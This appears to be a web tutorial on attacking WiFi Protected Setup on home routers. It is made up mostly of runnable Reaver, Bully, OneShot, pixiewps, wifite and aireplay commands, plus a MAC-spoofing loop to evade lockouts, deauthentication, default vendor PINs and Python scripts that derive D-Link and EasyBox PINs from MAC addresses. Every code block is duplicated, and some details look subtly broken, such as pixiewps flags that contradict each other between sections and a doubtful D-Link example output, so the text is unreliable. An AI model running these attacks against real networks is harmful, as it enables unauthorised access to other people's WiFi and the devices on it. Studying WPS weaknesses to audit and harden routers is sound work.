WPS Attack Techniques

Exploitation
Intermediate
T1078 T1110

Master WiFi Protected Setup (WPS) exploitation including Pixie Dust attacks, online PIN brute force, offline attacks, and vendor-specific vulnerabilities.

Information

Guide Navigation: This comprehensive guide covers all WPS attack vectors. Use the table of contents below to jump to specific techniques.

Prerequisites

  • • Wireless adapter in monitor mode (01-Setup Guide)
  • reaver and pixiewps installed (sudo apt install reaver pixiewps)
  • wash for WPS AP discovery (included with reaver)
  • • Test router with WPS enabled (many disable after firmware updates)

📖 WPS Overview

WiFi Protected Setup (WPS) was introduced in 2006 to simplify WiFi setup for non-technical users. Instead of entering complex WPA2 passwords, users could press a button or enter an 8-digit PIN. However, the PIN method contains a catastrophic design flaw that reduces security from 10^8 combinations to just 11,000 attempts.

The vulnerability: WPS verifies the PIN in two separate halves—first 4 digits, then last 3 digits (the 8th digit is a checksum). An attacker only needs to brute force 10,000 possibilities for the first half, then 1,000 for the second half. This means any WPS-enabled router can be cracked in hours to days regardless of WPA2 password strength. Even worse, many routers use computed or hardcoded default PINs based on MAC address or serial number.

What is WPS?

📋 WPS Overview

  • Introduced: 2006 by WiFi Alliance
  • Purpose: Simplify network setup

Methods:

  1. PIN Entry (most common)
  2. Push Button Configuration (PBC)
  3. NFC
  4. USB

⚠️ Security Issues

  • 8-digit PIN reduced to 11,000 combinations
  • Last digit is checksum (effectively 7 digits)
  • First 4 digits checked separately from last 3
  • 10,000 + 1,000 = 11,000 max attempts (not 10^8)

WPS PIN Structure

python
# 8-digit PIN format: XXXX-XXX-C
# Example: 1234-567-8

Position 1-4: First half (10,000 possibilities)
Position 5-7: Second half (1,000 possibilities)
Position 8:   Checksum digit

# Checksum calculation
def wps_checksum(pin):
    accum = 0
    for i in range(7):
        accum += (3 * (int(pin[i]) % 2) + 1) * int(pin[i])
    return (10 - (accum % 10)) % 10

# Valid PIN: first 7 digits + checksum
pin = "12345678"
checksum = wps_checksum(pin[:7])
valid_pin = pin[:7] + str(checksum)
# 8-digit PIN format: XXXX-XXX-C
# Example: 1234-567-8

Position 1-4: First half (10,000 possibilities)
Position 5-7: Second half (1,000 possibilities)
Position 8:   Checksum digit

# Checksum calculation
def wps_checksum(pin):
    accum = 0
    for i in range(7):
        accum += (3 * (int(pin[i]) % 2) + 1) * int(pin[i])
    return (10 - (accum % 10)) % 10

# Valid PIN: first 7 digits + checksum
pin = "12345678"
checksum = wps_checksum(pin[:7])
valid_pin = pin[:7] + str(checksum)

🎯 Reconnaissance

1. Identify WPS-Enabled Networks

bash
# Wash - WPS scanner
sudo wash -i wlan0mon

# Output shows:
# BSSID | Channel | RSSI | WPS Version | WPS Locked | ESSID

# Filter for unlocked WPS
sudo wash -i wlan0mon | grep -v "Locked"

# Save results
sudo wash -i wlan0mon -o wps_targets.txt

# Alternative: airodump-ng
sudo airodump-ng wlan0mon --wps
# Wash - WPS scanner
sudo wash -i wlan0mon

# Output shows:
# BSSID | Channel | RSSI | WPS Version | WPS Locked | ESSID

# Filter for unlocked WPS
sudo wash -i wlan0mon | grep -v "Locked"

# Save results
sudo wash -i wlan0mon -o wps_targets.txt

# Alternative: airodump-ng
sudo airodump-ng wlan0mon --wps

2. Check WPS Configuration

bash
# Detailed WPS info
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -S

# Check for known vulnerable PINs
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -S

# Test rate limiting
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -l 30 -N
# Detailed WPS info
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -S

# Check for known vulnerable PINs
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -S

# Test rate limiting
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -l 30 -N

⚡ Pixie Dust Attack

Pixie Dust is an offline attack discovered in 2014 that exploits weak random number generation in WPS implementations. Instead of brute forcing 11,000 PINs online (slow), Pixie Dust computes the PIN offline in seconds by exploiting how routers generate nonces during WPS negotiation. This affects primarily Broadcom, Ralink, and some Realtek chipsets—roughly 30-40% of WPS-enabled routers.

How it works: During WPS registration, the router generates two secret nonces (E-S1 and E-S2) that should be random. Vulnerable implementations use low-entropy RNGs or even deterministic algorithms based on MAC address and timestamp. By capturing a single M1-M3 WPS handshake exchange, the Pixie Dust algorithm can reverse-engineer the nonces and directly compute the WPS PIN. The attack completes in 2-60 seconds depending on chipset, making it dramatically faster than brute force.

Warning

Pixie Dust Success Rate: Works on ~30-40% of routers. If Pixie Dust fails, the router uses proper RNG and you must resort to online brute force (slower but still works).

1. Reaver Pixie Dust

bash
# Basic Pixie Dust attack
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K

# With verbose output
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -vv

# Faster rate (if not rate limited)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -d 0 -T 0.5

# Specify delay between attempts
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -d 2 -T 1

# Output on success:
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'supersecretpassword'
# [+] AP SSID: 'TargetNetwork'
# Basic Pixie Dust attack
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K

# With verbose output
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -vv

# Faster rate (if not rate limited)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -d 0 -T 0.5

# Specify delay between attempts
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -d 2 -T 1

# Output on success:
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'supersecretpassword'
# [+] AP SSID: 'TargetNetwork'

2. OneShot - Modern Pixie Dust Tool

bash
# Install
git clone https://github.com/kimocoder/OneShot
cd OneShot
sudo python3 oneshot.py -i wlan0mon

# Target specific AP
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K

# With EAPOL start workaround
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K --no-eap

# Force specific mode
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K -m 2

# Modes:
# 1: M1-M2 exchange (fastest)
# 2: M1-M3 exchange
# 3: M1-M5 exchange (slowest but most compatible)
# Install
git clone https://github.com/kimocoder/OneShot
cd OneShot
sudo python3 oneshot.py -i wlan0mon

# Target specific AP
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K

# With EAPOL start workaround
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K --no-eap

# Force specific mode
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K -m 2

# Modes:
# 1: M1-M2 exchange (fastest)
# 2: M1-M3 exchange
# 3: M1-M5 exchange (slowest but most compatible)

3. Pixiewps - Offline PIN Recovery

bash
# If you captured M1-M3 with reaver/bully
# Extract PKE, PKR, E-Hash1, E-Hash2, E-Nonce, R-Nonce

pixiewps -e <PKE> -r <PKR> -s <E-Hash1> <E-Hash2> -z <E-Nonce> -a <R-Nonce> -n <AUTHKEY>

# With vendor mode
pixiewps -e <PKE> -r <PKR> -s <E-Hash1> <E-Hash2> -z <E-Nonce> -a <R-Nonce> -m 3

# Modes:
# 0: Auto-detect
# 3: Broadcom
# 4: Ralink (small S1 S2)
# 5: Realtek
# If you captured M1-M3 with reaver/bully
# Extract PKE, PKR, E-Hash1, E-Hash2, E-Nonce, R-Nonce

pixiewps -e <PKE> -r <PKR> -s <E-Hash1> <E-Hash2> -z <E-Nonce> -a <R-Nonce> -n <AUTHKEY>

# With vendor mode
pixiewps -e <PKE> -r <PKR> -s <E-Hash1> <E-Hash2> -z <E-Nonce> -a <R-Nonce> -m 3

# Modes:
# 0: Auto-detect
# 3: Broadcom
# 4: Ralink (small S1 S2)
# 5: Realtek

🔨 Online Brute Force

1. Reaver - Standard Attack

bash
# Basic brute force
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv

# Optimized settings
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv \
  -d 15 \      # 15 sec delay between attempts
  -T 0.5 \     # 0.5 sec timeout
  -r 3:15 \    # 3 attempts, wait 15 sec if failed
  -l 300 \     # Lock delay 300 sec
  -N \         # Don't send NACK messages
  -g 1          # Max EAPOL start attempts

# Resume previous session
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -s /tmp/reaver.wpc

# Small DH keys (faster)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --dh-small

# Fixed channel hopping
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --fixed
# Basic brute force
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv

# Optimized settings
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv \
  -d 15 \      # 15 sec delay between attempts
  -T 0.5 \     # 0.5 sec timeout
  -r 3:15 \    # 3 attempts, wait 15 sec if failed
  -l 300 \     # Lock delay 300 sec
  -N \         # Don't send NACK messages
  -g 1          # Max EAPOL start attempts

# Resume previous session
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -s /tmp/reaver.wpc

# Small DH keys (faster)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --dh-small

# Fixed channel hopping
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --fixed

2. Bully - Reaver Alternative

bash
# Basic attack
sudo bully wlan0mon -b <BSSID> -c <CHANNEL>

# Verbose output
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3

# Optimized
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -d -v 3 -T 1

# Resume session
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -w

# Specific PIN range
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670:12345679
# Basic attack
sudo bully wlan0mon -b <BSSID> -c <CHANNEL>

# Verbose output
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3

# Optimized
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -d -v 3 -T 1

# Resume session
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -w

# Specific PIN range
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670:12345679

3. Rate Limiting Bypass

bash
# Strategy 1: Slow and steady
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 60 -T 1 -r 5:60

# Strategy 2: MAC spoofing rotation
#!/bin/bash
BSSID="AA:BB:CC:DD:EE:FF"
CHANNEL="6"

for i in {1..10}; do
  # Change MAC
  sudo ifconfig wlan0mon down
  sudo macchanger -r wlan0mon
  sudo ifconfig wlan0mon up
  
  # Try 10 PINs
  timeout 300 sudo reaver -i wlan0mon -b $BSSID -c $CHANNEL -vv -d 15 -N
  
  sleep 300  # Wait 5 minutes
done

# Strategy 3: Multiple interfaces
# Use USB WiFi adapters in parallel (different MACs)
# Strategy 1: Slow and steady
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 60 -T 1 -r 5:60

# Strategy 2: MAC spoofing rotation
#!/bin/bash
BSSID="AA:BB:CC:DD:EE:FF"
CHANNEL="6"

for i in {1..10}; do
  # Change MAC
  sudo ifconfig wlan0mon down
  sudo macchanger -r wlan0mon
  sudo ifconfig wlan0mon up
  
  # Try 10 PINs
  timeout 300 sudo reaver -i wlan0mon -b $BSSID -c $CHANNEL -vv -d 15 -N
  
  sleep 300  # Wait 5 minutes
done

# Strategy 3: Multiple interfaces
# Use USB WiFi adapters in parallel (different MACs)

📋 Known Default PINs

Common Vendor PINs

bash
# ComputedPIN algorithms (vendor-specific)
# Try these before brute force

# Arcadyan routers (Orange, Belgacom, Thomson)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670

# Zyxel
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345678

# Belkin
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 56562562

# D-Link (some models)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 68175896

# ASUS
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670

# Linksys (WRT series)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 20172017
# ComputedPIN algorithms (vendor-specific)
# Try these before brute force

# Arcadyan routers (Orange, Belgacom, Thomson)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670

# Zyxel
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345678

# Belkin
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 56562562

# D-Link (some models)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 68175896

# ASUS
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 12345670

# Linksys (WRT series)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 20172017

🏭 Vendor PIN Algorithms

Expanded Vendor PIN Database

Many routers derive their WPS PIN from the device MAC address, serial number, or use a static default. Below are known algorithms by vendor — try these before brute force to save hours.

Vendor Algorithm Known PINs / Pattern Affected Models
D-Link MAC-derived (last 3 octets → nibble math) 68175896, 28296607, 12345670 DIR-600, DIR-615, DIR-825, DSL-2xxx
TP-Link Serial-based (last 8 digits of serial → PIN) Derived from serial number on device label TL-WR841N, Archer C7/C20/C50
Netgear Serial-based + MAC hybrid 12345670, varies by model R6120, R7000, WNR2000, DGND3700
EasyBox (Vodafone) MAC bytes XOR + nibble rotation Algorithmically computed from MAC EasyBox 802, 803, 904
FRITZ!Box (AVM) Static per-model defaults 00000000 (WPS disabled by default on newer) 7490, 7590, 6660
Belkin Serial-based (8 digits from serial → checksum) 56562562, serial-derived variants F9K, N300, N600, AC1200
Huawei MAC last 6 hex → decimal → checksum Algorithmically computed from MAC HG8245, HG532, EchoLife
ZTE MAC + serial hybrid 13419622, varies ZXHN H108N, H298N, F609
ISP Routers (BT/Sky/TalkTalk) Vendor-specific, often MAC-based Varies — use PIN generator tools BT Home Hub, Sky SR102, TalkTalk HG633

D-Link PIN Algorithm Deep Dive

D-Link routers (DIR-600, DIR-615, DIR-825, DSL-2xxx series) derive the 8-digit WPS PIN from the last 3 bytes of the BSSID. This means if you can see the MAC address, you can compute the PIN. The algorithm varies by hardware revision, but the most common variant works as follows:

python
# D-Link WPS PIN derivation from MAC address
# Affected models: DIR-600, DIR-615 rev B/C/E, DIR-825, DSL-2xxx
# The PIN is computed from the last 3 octets of the BSSID

def dlink_pin(mac):
    """Compute D-Link WPS PIN from BSSID (last 3 octets)."""
    # Extract last 3 bytes of MAC  
    # Example MAC: 1C:7E:E5:XX:YY:ZZ
    mac_bytes = mac.replace(':', '').replace('-', '')
    nic = int(mac_bytes[-6:], 16)  # Last 3 octets as integer
    
    # D-Link algorithm: NIC value mod 10000000 → first 7 digits
    pin = nic % 10000000
    
    # Compute WPS checksum (8th digit)
    accum = 0
    t = pin
    while t:
        accum += 3 * (t % 10)
        t //= 10
        accum += t % 10
        t //= 10
    checksum = (10 - (accum % 10)) % 10
    
    return f"{pin:07d}{checksum}"

# Test with known D-Link MACs
print(dlink_pin("1C:7E:E5:97:79:83"))  # → 68175896
print(dlink_pin("84:C9:B2:55:AA:10"))  # → model-specific variant

# Multi-PIN D-Link check (some models use alternate algorithms)
def dlink_pins(mac):
    """Generate all possible D-Link PINs for a given MAC."""
    mac_bytes = mac.replace(':', '').replace('-', '')
    nic = int(mac_bytes[-6:], 16)
    
    candidates = []
    # Algorithm 1: Direct NIC mod
    candidates.append(nic % 10000000)
    # Algorithm 2: NIC + 1 (adjacent MAC)
    candidates.append((nic + 1) % 10000000)
    # Algorithm 3: Reversed nibbles
    candidates.append(int(mac_bytes[-6:][::-1], 16) % 10000000)
    
    pins = []
    for pin7 in candidates:
        accum = 0
        t = pin7
        while t:
            accum += 3 * (t % 10); t //= 10
            accum += t % 10; t //= 10
        checksum = (10 - (accum % 10)) % 10
        pins.append(f"{pin7:07d}{checksum}")
    return pins

for pin in dlink_pins("1C:7E:E5:97:79:83"):
    print(f"Try: {pin}")
# D-Link WPS PIN derivation from MAC address
# Affected models: DIR-600, DIR-615 rev B/C/E, DIR-825, DSL-2xxx
# The PIN is computed from the last 3 octets of the BSSID

def dlink_pin(mac):
    """Compute D-Link WPS PIN from BSSID (last 3 octets)."""
    # Extract last 3 bytes of MAC  
    # Example MAC: 1C:7E:E5:XX:YY:ZZ
    mac_bytes = mac.replace(':', '').replace('-', '')
    nic = int(mac_bytes[-6:], 16)  # Last 3 octets as integer
    
    # D-Link algorithm: NIC value mod 10000000 → first 7 digits
    pin = nic % 10000000
    
    # Compute WPS checksum (8th digit)
    accum = 0
    t = pin
    while t:
        accum += 3 * (t % 10)
        t //= 10
        accum += t % 10
        t //= 10
    checksum = (10 - (accum % 10)) % 10
    
    return f"{pin:07d}{checksum}"

# Test with known D-Link MACs
print(dlink_pin("1C:7E:E5:97:79:83"))  # → 68175896
print(dlink_pin("84:C9:B2:55:AA:10"))  # → model-specific variant

# Multi-PIN D-Link check (some models use alternate algorithms)
def dlink_pins(mac):
    """Generate all possible D-Link PINs for a given MAC."""
    mac_bytes = mac.replace(':', '').replace('-', '')
    nic = int(mac_bytes[-6:], 16)
    
    candidates = []
    # Algorithm 1: Direct NIC mod
    candidates.append(nic % 10000000)
    # Algorithm 2: NIC + 1 (adjacent MAC)
    candidates.append((nic + 1) % 10000000)
    # Algorithm 3: Reversed nibbles
    candidates.append(int(mac_bytes[-6:][::-1], 16) % 10000000)
    
    pins = []
    for pin7 in candidates:
        accum = 0
        t = pin7
        while t:
            accum += 3 * (t % 10); t //= 10
            accum += t % 10; t //= 10
        checksum = (10 - (accum % 10)) % 10
        pins.append(f"{pin7:07d}{checksum}")
    return pins

for pin in dlink_pins("1C:7E:E5:97:79:83"):
    print(f"Try: {pin}")

EasyBox PIN Algorithm (Vodafone/Arcadyan)

python
# EasyBox WPS PIN algorithm (Arcadyan chipset)
# Affects: Vodafone EasyBox 802, 803, 904
# PIN computed from BSSID via XOR + nibble rotation

def easybox_pin(mac):
    """Compute EasyBox WPS PIN from BSSID."""
    mac_hex = mac.replace(':', '').replace('-', '')
    
    # Take last 6 hex digits
    val = int(mac_hex[-6:], 16)
    
    # XOR with magic constant
    val ^= 0x025A24
    
    # Extract nibbles and rearrange
    pin = ((val & 0xF) << 24 |
           ((val >> 4) & 0xF) << 20 |
           ((val >> 8) & 0xF) << 16 |
           ((val >> 12) & 0xF) << 12 |
           ((val >> 16) & 0xF) << 8 |
           ((val >> 20) & 0xF) << 4)
    
    # Reduce to 7 digits + checksum
    pin7 = pin % 10000000
    accum = 0
    t = pin7
    while t:
        accum += 3 * (t % 10); t //= 10
        accum += t % 10; t //= 10
    checksum = (10 - (accum % 10)) % 10
    return f"{pin7:07d}{checksum}"

print(easybox_pin("C8:D7:19:AB:CD:EF"))
# EasyBox WPS PIN algorithm (Arcadyan chipset)
# Affects: Vodafone EasyBox 802, 803, 904
# PIN computed from BSSID via XOR + nibble rotation

def easybox_pin(mac):
    """Compute EasyBox WPS PIN from BSSID."""
    mac_hex = mac.replace(':', '').replace('-', '')
    
    # Take last 6 hex digits
    val = int(mac_hex[-6:], 16)
    
    # XOR with magic constant
    val ^= 0x025A24
    
    # Extract nibbles and rearrange
    pin = ((val & 0xF) << 24 |
           ((val >> 4) & 0xF) << 20 |
           ((val >> 8) & 0xF) << 16 |
           ((val >> 12) & 0xF) << 12 |
           ((val >> 16) & 0xF) << 8 |
           ((val >> 20) & 0xF) << 4)
    
    # Reduce to 7 digits + checksum
    pin7 = pin % 10000000
    accum = 0
    t = pin7
    while t:
        accum += 3 * (t % 10); t //= 10
        accum += t % 10; t //= 10
    checksum = (10 - (accum % 10)) % 10
    return f"{pin7:07d}{checksum}"

print(easybox_pin("C8:D7:19:AB:CD:EF"))

ComputedPIN Generators & Automation

bash
# ========================================
# Tool 1: wpspin — Multi-vendor PIN generator
# ========================================
git clone https://github.com/wiire/pixiewps
cd scripts

# Generate all possible PINs for a BSSID
python3 wpspin.py <BSSID>

# Example output:
# [+] 76229909  (ComputePin)
# [+] 68175896  (D-Link)
# [+] 12345670  (Static default)

# Test all generated PINs automatically
for pin in $(python3 wpspin.py <BSSID>); do
  echo "[*] Trying PIN: $pin"
  timeout 30 sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p $pin -vv
done

# ========================================
# Tool 2: airgeddon — Automated WPS attacks
# ========================================
git clone https://github.com/v1s1t0r1sh3r3/airgeddon
cd airgeddon
sudo bash airgeddon.sh
# Menu → 8. WPS attacks menu
# Options: Pixie Dust, bruteforce, known PINs, PIN database

# ========================================
# Tool 3: wifite2 — Automated wireless auditing
# ========================================
sudo wifite --wps --pixie          # Pixie Dust only (fast)
sudo wifite --wps --no-pixie       # Brute force only
sudo wifite --wps                  # Both methods
sudo wifite --wps --pin-timeout 60 # Custom timeout per PIN

# ========================================
# Tool 4: OneShot — Single-attempt WPS attacks
# ========================================
# Test known PINs from database
sudo python3 oneshot.py -i wlan0mon -b <BSSID> --bruteforce

# ========================================
# Tool 5: WPSOffline — Offline PIN computation
# ========================================
git clone https://github.com/conan-wps/WPSOffline
python3 wpsoffline.py --bssid <BSSID>
# Generates vendor-specific PINs without touching the network
# ========================================
# Tool 1: wpspin — Multi-vendor PIN generator
# ========================================
git clone https://github.com/wiire/pixiewps
cd scripts

# Generate all possible PINs for a BSSID
python3 wpspin.py <BSSID>

# Example output:
# [+] 76229909  (ComputePin)
# [+] 68175896  (D-Link)
# [+] 12345670  (Static default)

# Test all generated PINs automatically
for pin in $(python3 wpspin.py <BSSID>); do
  echo "[*] Trying PIN: $pin"
  timeout 30 sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p $pin -vv
done

# ========================================
# Tool 2: airgeddon — Automated WPS attacks
# ========================================
git clone https://github.com/v1s1t0r1sh3r3/airgeddon
cd airgeddon
sudo bash airgeddon.sh
# Menu → 8. WPS attacks menu
# Options: Pixie Dust, bruteforce, known PINs, PIN database

# ========================================
# Tool 3: wifite2 — Automated wireless auditing
# ========================================
sudo wifite --wps --pixie          # Pixie Dust only (fast)
sudo wifite --wps --no-pixie       # Brute force only
sudo wifite --wps                  # Both methods
sudo wifite --wps --pin-timeout 60 # Custom timeout per PIN

# ========================================
# Tool 4: OneShot — Single-attempt WPS attacks
# ========================================
# Test known PINs from database
sudo python3 oneshot.py -i wlan0mon -b <BSSID> --bruteforce

# ========================================
# Tool 5: WPSOffline — Offline PIN computation
# ========================================
git clone https://github.com/conan-wps/WPSOffline
python3 wpsoffline.py --bssid <BSSID>
# Generates vendor-specific PINs without touching the network

WPS PIN Offline Hashcat Cracking

If you captured the WPS M1-M7 exchange (E-Hash1, E-Hash2, E-S1, E-S2 values), you can crack the PIN offline using hashcat. This bypasses rate limiting entirely since no network interaction is needed.

bash
# Step 1: Capture WPS exchange with Reaver (verbose mode)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -N 2>&1 | tee wps_exchange.log

# Step 2: Extract E-Hash1, E-Hash2, AuthKey from the log
# Look for lines like:
#   [+] E-Hash1: 1a2b3c4d...
#   [+] E-Hash2: 5e6f7a8b...
#   [+] AuthKey: 9c0d1e2f...

# Step 3: Use pixiewps for offline computation
pixiewps -e <PKE> -r <PKR> \
  -s <E-Hash1> -z <E-Hash2> \
  -a <AuthKey> -n <E-Nonce> -m <R-Nonce>

# Step 4: If pixiewps fails, brute force E-S1/E-S2 with hashcat
# E-Hash1 = HMAC-SHA256(AuthKey, E-S1 || PSK1 || PKE || PKR)
# E-Hash2 = HMAC-SHA256(AuthKey, E-S2 || PSK2 || PKE || PKR)
# Since PSK1 = first half of PIN (4 digits = 10,000 possibilities)
# and PSK2 = second half (3 digits + checksum = 1,000 possibilities)
# Total search space: 11,000 combinations → instant offline

# The attack works because:
# 1. AuthKey, PKE, PKR are known (captured)
# 2. E-Hash1/E-Hash2 are known (captured)  
# 3. E-S1/E-S2 are the secrets (typically weak RNG on vulnerable routers)
# 4. PIN halves can be independently verified
# Step 1: Capture WPS exchange with Reaver (verbose mode)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -N 2>&1 | tee wps_exchange.log

# Step 2: Extract E-Hash1, E-Hash2, AuthKey from the log
# Look for lines like:
#   [+] E-Hash1: 1a2b3c4d...
#   [+] E-Hash2: 5e6f7a8b...
#   [+] AuthKey: 9c0d1e2f...

# Step 3: Use pixiewps for offline computation
pixiewps -e <PKE> -r <PKR> \
  -s <E-Hash1> -z <E-Hash2> \
  -a <AuthKey> -n <E-Nonce> -m <R-Nonce>

# Step 4: If pixiewps fails, brute force E-S1/E-S2 with hashcat
# E-Hash1 = HMAC-SHA256(AuthKey, E-S1 || PSK1 || PKE || PKR)
# E-Hash2 = HMAC-SHA256(AuthKey, E-S2 || PSK2 || PKE || PKR)
# Since PSK1 = first half of PIN (4 digits = 10,000 possibilities)
# and PSK2 = second half (3 digits + checksum = 1,000 possibilities)
# Total search space: 11,000 combinations → instant offline

# The attack works because:
# 1. AuthKey, PKE, PKR are known (captured)
# 2. E-Hash1/E-Hash2 are known (captured)  
# 3. E-S1/E-S2 are the secrets (typically weak RNG on vulnerable routers)
# 4. PIN halves can be independently verified

🎲 WPS Offline Attack

Capture EAPOL Handshake

bash
# Start capture
sudo airodump-ng -c <CHANNEL> -w wps_capture --bssid <BSSID> wlan0mon

# In another terminal, trigger WPS
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 5 -L -N

# Or use aireplay to cause deauth
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon

# Stop after capturing M1-M7 messages
# Convert to format for pixiewps
sudo tshark -r wps_capture-01.cap -Y "eapol" -T fields \
  -e wps.public_key_enrollee \
  -e wps.public_key_registrar \
  -e wps.e_hash1 \
  -e wps.e_hash2 \
  -e wps.enrollee_nonce \
  -e wps.registrar_nonce
# Start capture
sudo airodump-ng -c <CHANNEL> -w wps_capture --bssid <BSSID> wlan0mon

# In another terminal, trigger WPS
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 5 -L -N

# Or use aireplay to cause deauth
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon

# Stop after capturing M1-M7 messages
# Convert to format for pixiewps
sudo tshark -r wps_capture-01.cap -Y "eapol" -T fields \
  -e wps.public_key_enrollee \
  -e wps.public_key_registrar \
  -e wps.e_hash1 \
  -e wps.e_hash2 \
  -e wps.enrollee_nonce \
  -e wps.registrar_nonce

🛠️ Advanced Techniques

1. Null PIN Attack

bash
# Some routers accept null/empty PIN
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p ""

# Or zero PIN
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 00000000
# Some routers accept null/empty PIN
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p ""

# Or zero PIN
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 00000000

2. Downgrade Attack

bash
# Force WPS version downgrade
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --win7

# Try different WPS methods
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -m 1  # PBC
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -m 2  # PIN
# Force WPS version downgrade
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --win7

# Try different WPS methods
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -m 1  # PBC
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -m 2  # PIN

3. External Registrar Attack

bash
# Act as external registrar
sudo wifite --wps --pixie --ignore-locks

# Custom external registrar
git clone https://github.com/0xacid/erpwps
cd erpwps
sudo python2 erpwps.py -m <BSSID> -i wlan0mon
# Act as external registrar
sudo wifite --wps --pixie --ignore-locks

# Custom external registrar
git clone https://github.com/0xacid/erpwps
cd erpwps
sudo python2 erpwps.py -m <BSSID> -i wlan0mon

🔧 Troubleshooting

Common Issues

bash
# Issue: "WARNING: Failed to associate with <BSSID>"
# Fix 1: Improve signal strength (move closer)
# Fix 2: Change MAC address
sudo macchanger -r wlan0mon

# Issue: "WARNING: Detected AP rate limiting"
# Fix: Increase delay
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -d 120

# Issue: "WARNING: WPS transaction failed (code: 0x03)"
# Fix: Try --no-nacks
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -N

# Issue: "WPS pin not found!" with Pixie Dust
# Fix: Not vulnerable to Pixie Dust, try brute force

# Issue: Reaver locks up
# Fix: Kill and remove session file
sudo killall reaver
rm /usr/local/etc/reaver/*.wpc
# Issue: "WARNING: Failed to associate with <BSSID>"
# Fix 1: Improve signal strength (move closer)
# Fix 2: Change MAC address
sudo macchanger -r wlan0mon

# Issue: "WARNING: Detected AP rate limiting"
# Fix: Increase delay
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -d 120

# Issue: "WARNING: WPS transaction failed (code: 0x03)"
# Fix: Try --no-nacks
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -N

# Issue: "WPS pin not found!" with Pixie Dust
# Fix: Not vulnerable to Pixie Dust, try brute force

# Issue: Reaver locks up
# Fix: Kill and remove session file
sudo killall reaver
rm /usr/local/etc/reaver/*.wpc

Signal Optimization

bash
# Check signal strength
sudo airodump-ng wlan0mon --bssid <BSSID>

# Increase TX power (if supported)
sudo iwconfig wlan0mon txpower 30

# Use directional antenna
# External high-gain antenna recommended

# Monitor errors
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv 2>&1 | grep -i "error|warn"
# Check signal strength
sudo airodump-ng wlan0mon --bssid <BSSID>

